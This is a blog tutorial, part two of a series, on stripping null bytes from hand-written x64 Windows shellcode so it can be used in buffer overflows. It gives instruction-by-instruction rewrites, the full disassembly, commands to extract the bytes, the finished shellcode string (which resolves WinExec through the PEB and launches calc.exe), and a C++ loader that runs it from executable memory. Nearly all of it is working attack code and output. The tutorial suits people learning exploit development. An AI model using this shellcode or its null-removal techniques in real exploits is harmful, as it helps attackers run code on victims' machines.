6 minute read

Now is the time for the expected continuation of part 1 of this blog series, where we clean up our code and remove those NULLs. In this way, we’ll be able to reliably use our shellcode in buffer overflows, etc. Let’s do it!

x64 Assembly & Removing Null bytes

We will start with the offending code that contains null bytes. I’m going to start from the bottom and work my way to the top of our code used in part 1 of this series. It may be worthwhile to have a separate tab open in your browser if you need to reference it at any point.

00000000000000a5 <executeit>:
  a5:   41 5f                   pop    %r15
  a7:   b8 00 00 00 00          mov    $0x0,%eax
  ac:   50                      push   %rax
  ad:   48 b8 63 61 6c 63 2e    movabs $0x6578652e636c6163,%rax
  b4:   65 78 65
  b7:   50                      push   %rax
  b8:   48 89 e1                mov    %rsp,%rcx
  bb:   ba 01 00 00 00          mov    $0x1,%edx
  c0:   48 83 ec 30             sub    $0x30,%rsp
  c4:   41 ff d7                call   *%r15

first offender, this line:

b8 00 00 00 00          mov    $0x0,%eax

Isn’t it crazy that by moving the NULL byte to terminate our string using the mov instruction, you introduce that many zeros into your code?! 😿 There’s no need to fret though, as we can fix this one easily! We will replace that MOV instruction with XOR instead:

xor rax, rax
push rax

now run objdump and review the results. No zeros!!!:

48 31 c0                xor    %rax,%rax
50                      push   %rax

okay, on to the next offending culprit, this line:

ba 01 00 00 00          mov    $0x1,%edx

I’m sure you already figured it out 😸 All we need to do is once more replace mov with xor:

xor rdx, rdx
inc rdx

Now let’s review objdump’s output. Once again, no zeros!

48 31 d2                xor    %rdx,%rdx
48 ff c2                inc    %rdx

Here’s the next two. These are from OrdinalLookup and OrdinalLookupSetup. Just delete these lines entirely. These jumps aren’t needed and were mainly used to help debug the code when I first wrote it. There, that was easy huh?

78 00                   js     7b <OrdinalLookup>
78 00                   js     a5 <executeit>

Alright, we’re almost done! We’re in our main function at the top of the code now. You can just delete this line:

eb 00                   jmp    59 <kernel32findfunction>

These next two were the hardest for me to work out. We need to retain the string terminator but we also don’t want to have to deal with NULLs.

48 b8 57 69 6e 45 78    movabs $0x636578456e6957,%rax
65 63 00

We’ll use a nice little Bitwise shiftleft and shiftright trick to ‘operationally’ add a zero after we’ve already committed our string to memory. Here’s what it looks like. We’ll use a nop as a placeholder for where the 00 would normally go:

mov rax, 0x90636578456E6957           ;WinExec
shl rax, 0x8                          ;636578456E695700 <--notice how the 90 turns into a 00
shr rax, 0x8                          ;00636578456E6957 <-- now the nop has been replaced by a 0 but this null will NOT be present in our machine code / shellcode!

And now let’s review objdump’s output. Look ma, no NULLs!!!

48 c1 e0 08             shl    $0x8,%rax
48 c1 e8 08             shr    $0x8,%rax
50                      push   %rax

When we push rax, we’ll be greeted by our familiar WinExec string and satisfy keeping a null without it being present in our shellcode:

image

Now, drum roll please…. 🥁 The final NULL!!

 8b 93 88 00 00 00       mov    0x88(%rbx),%edx

Basically, we just need to move [rbx+0x88] hex value into rdx. However, we can’t exactly do it the way you would expect. The ‘simple’ way generates nulls. Here’s what we’ll need to do instead:

xor rcx, rcx                  ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff                ; add to lower portion of register
shr rcx, 0x8                  ; shift right, which will remove the FF placeholder and leave the value we want: RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]            ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable

That’s it! All nulls have been removed!! We can now get our newly fashioned shellcode (without nulls) and use in a buffer overflow, free of any worries regarding nulls. Here’s what the objdump output looks like for me:

winexec_nonulls.obj:     file format pe-x86-64

Disassembly of section .text:

0000000000000000 <main>:
   0:   48 83 ec 28             sub    $0x28,%rsp
   4:   48 83 e4 f0             and    $0xfffffffffffffff0,%rsp
   8:   48 31 c9                xor    %rcx,%rcx
   b:   65 48 8b 41 60          mov    %gs:0x60(%rcx),%rax
  10:   48 8b 40 18             mov    0x18(%rax),%rax
  14:   48 8b 70 10             mov    0x10(%rax),%rsi
  18:   48 8b 36                mov    (%rsi),%rsi
  1b:   48 8b 36                mov    (%rsi),%rsi
  1e:   48 8b 5e 30             mov    0x30(%rsi),%rbx
  22:   49 89 d8                mov    %rbx,%r8
  25:   8b 5b 3c                mov    0x3c(%rbx),%ebx
  28:   4c 01 c3                add    %r8,%rbx
  2b:   48 31 c9                xor    %rcx,%rcx
  2e:   66 81 c1 ff 88          add    $0x88ff,%cx
  33:   48 c1 e9 08             shr    $0x8,%rcx
  37:   8b 14 0b                mov    (%rbx,%rcx,1),%edx
  3a:   4c 01 c2                add    %r8,%rdx
  3d:   44 8b 52 14             mov    0x14(%rdx),%r10d
  41:   4d 31 db                xor    %r11,%r11
  44:   44 8b 5a 20             mov    0x20(%rdx),%r11d
  48:   4d 01 c3                add    %r8,%r11
  4b:   4c 89 d1                mov    %r10,%rcx
  4e:   48 b8 57 69 6e 45 78    movabs $0x90636578456e6957,%rax
  55:   65 63 90
  58:   48 c1 e0 08             shl    $0x8,%rax
  5c:   48 c1 e8 08             shr    $0x8,%rax
  60:   50                      push   %rax
  61:   48 89 e0                mov    %rsp,%rax
  64:   48 83 c4 08             add    $0x8,%rsp

0000000000000068 <kernel32findfunction>:
  68:   67 e3 17                jecxz  82 <FunctionNameNotFound>
  6b:   31 db                   xor    %ebx,%ebx
  6d:   41 8b 5c 8b 04          mov    0x4(%r11,%rcx,4),%ebx
  72:   4c 01 c3                add    %r8,%rbx
  75:   48 ff c9                dec    %rcx
  78:   4c 8b 08                mov    (%rax),%r9
  7b:   4c 39 0b                cmp    %r9,(%rbx)
  7e:   74 03                   je     83 <FunctionNameFound>
  80:   75 e6                   jne    68 <kernel32findfunction>

0000000000000082 <FunctionNameNotFound>:
  82:   cc                      int3

0000000000000083 <FunctionNameFound>:
  83:   51                      push   %rcx
  84:   41 5f                   pop    %r15
  86:   4c 89 f9                mov    %r15,%rcx
  89:   4d 31 db                xor    %r11,%r11
  8c:   44 8b 5a 24             mov    0x24(%rdx),%r11d
  90:   4d 01 c3                add    %r8,%r11
  93:   48 ff c1                inc    %rcx
  96:   66 45 8b 2c 4b          mov    (%r11,%rcx,2),%r13w
  9b:   4d 31 db                xor    %r11,%r11
  9e:   44 8b 5a 1c             mov    0x1c(%rdx),%r11d
  a2:   4d 01 c3                add    %r8,%r11
  a5:   43 8b 44 ab 04          mov    0x4(%r11,%r13,4),%eax
  aa:   4c 01 c0                add    %r8,%rax
  ad:   50                      push   %rax
  ae:   41 5f                   pop    %r15
  b0:   48 31 c0                xor    %rax,%rax
  b3:   50                      push   %rax
  b4:   48 b8 63 61 6c 63 2e    movabs $0x6578652e636c6163,%rax
  bb:   65 78 65
  be:   50                      push   %rax
  bf:   48 89 e1                mov    %rsp,%rcx
  c2:   48 31 d2                xor    %rdx,%rdx
  c5:   48 ff c2                inc    %rdx
  c8:   48 83 ec 30             sub    $0x30,%rsp
  cc:   41 ff d7                call   *%r15

Let’s convert to shellcode now. I’ll use Linux this time around and use the following commands:

  • nasm -fwin64 winexec_nonulls.asm -o winexec_nonulls.o

  • for i in $(objdump -D winexec_nonulls.o | grep “^ “ | cut -f2); do echo -n “\x$i” ; done

here’s what I got:

"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b"
"\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89"
"\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9"
"\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20"
"\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x90\x48\xc1"
"\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x17\x31"
"\xdb\x41\x8b\x5c\x8b\x04\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b"
"\x74\x03\x75\xe6\xcc\x51\x41\x5f\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24"
"\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c"
"\x4d\x01\xc3\x43\x8b\x44\xab\x04\x4c\x01\xc0\x50\x41\x5f\x48\x31\xc0\x50"
"\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\x31\xd2\x48"
"\xff\xc2\x48\x83\xec\x30\x41\xff\xd7";

Let’s try using it in some actual code to make sure it works as intended 😸

(I don’t have a buffer overflow exploit I can use this on at the moment, otherwise we could give that a go lol)

#include <windows.h>
#include <iostream>

// Shellcode (as given, formatted for clarity)
unsigned char shellcode[] =
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b"
"\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89"
"\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9"
"\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20"
"\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x90\x48\xc1"
"\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x17\x31"
"\xdb\x41\x8b\x5c\x8b\x04\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b"
"\x74\x03\x75\xe6\xcc\x51\x41\x5f\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24"
"\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c"
"\x4d\x01\xc3\x43\x8b\x44\xab\x04\x4c\x01\xc0\x50\x41\x5f\x48\x31\xc0\x50"
"\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\x31\xd2\x48"
"\xff\xc2\x48\x83\xec\x30\x41\xff\xd7";

int main() {
    void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        std::cerr << "Memory allocation failed\n";
        return -1;
    }

    memcpy(exec_mem, shellcode, sizeof(shellcode));
    auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);
    shellcode_func();
    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}

image

There you have it! NULL free shellcode for the win 😄 I’ve had fun with this series so far, and there’s more exciting stuff on the way. I still need to do the dynamic messagebox at some point as promised. All in due time. See you guys next time!

Leave a comment